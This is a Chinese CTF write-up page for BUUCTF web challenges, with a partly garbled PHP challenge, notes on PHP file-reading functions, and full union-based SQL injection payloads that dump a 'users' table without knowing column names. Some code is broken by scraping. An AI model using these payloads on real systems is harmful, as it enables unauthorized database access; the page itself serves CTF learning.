BUUCTF web題解合集(四)

2021-10-23 10:43:49 字數 3383 閱讀 6121

<?php 

include

"flag.php"

;echo

"flag在**呢?";

if(isset

($_get

['exp'])

)else

}else

}else

}// highlight_file(__file__);

?>

localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。

scandir() 列出 images 目錄中的檔案和目錄。

readfile() 輸出乙個檔案。

current() 返回陣列中的當前單元, 預設取第乙個值。

pos() current() 的別名。

next() 函式將內部指標指向陣列中的下乙個元素,並輸出。

array_reverse()以相反的元素順序返回陣列。

highlight_file()列印輸出或者返回 filename 檔案中語法高亮版本的**。

再去看上次寫安恆月賽提到的庫,也都提示不存在。。。

再次中斷,,,看wp用的是mysql.innodb_table_stats。所以payload為

就很好奇這是怎麼找到的。接下來無法繼續得到列名。所以學到新知識點,無列名注入。

看著吧,好像不好理解為什麼能注入出來,但操作是可行的。所以最終payload

-1'union/**/select/**/1,database(),(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,1'
核心

(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)s)
首先就是確定是哪個表,測試發現前面的會提示表不存在,只有users不會,然後就是1,2,3增加或減少會提示列數不同。再就是as代替反引號,類似指定別名 。不過,我沒用as也成功了,用反引號好像也可以。

-1'union/**/select/**/1,database(),(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)s),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,1'
就這樣結束。虛假的做題,沒wp就不會。

再來看一下做題遇到了啥?首先就是注入點有點不好找,其次mysql.innodb_table_stats不知道,然後是無列名注入第一次遇到。。。

BUUCTF web題解合集(二)

geturl methods get post 2def geturl 3 url request.args.get url 4 host parse.urlparse url hostname 5 解析url,賦值hostname 6if host suctf.cc 7 return 我扌 you...

BUUCTF web題解合集(六)

沒想到sql注入還能要掃目錄。掃目錄能看到robots.txt,提示存在hint.txt,訪問告知了你sql查詢語句。select from users where username post username and password post password 很平常的查詢語句。但同時有什麼用呢...

4月訓練題解合集

由於我太懶了,所以就不每題開一篇寫了。題目大意也懶得寫了。顯然最優策略是瞎走,在知道那條邊斷掉了之後才走最短路徑。先把以 t 為根的最短路樹求出來,然後可以用堆求出斷掉每條邊後端點到 t 的最短路徑。最後像 dijk 那樣 dp 一下就好了。直接線段樹 凸包優化 dp 可以輕鬆做到 o n log ...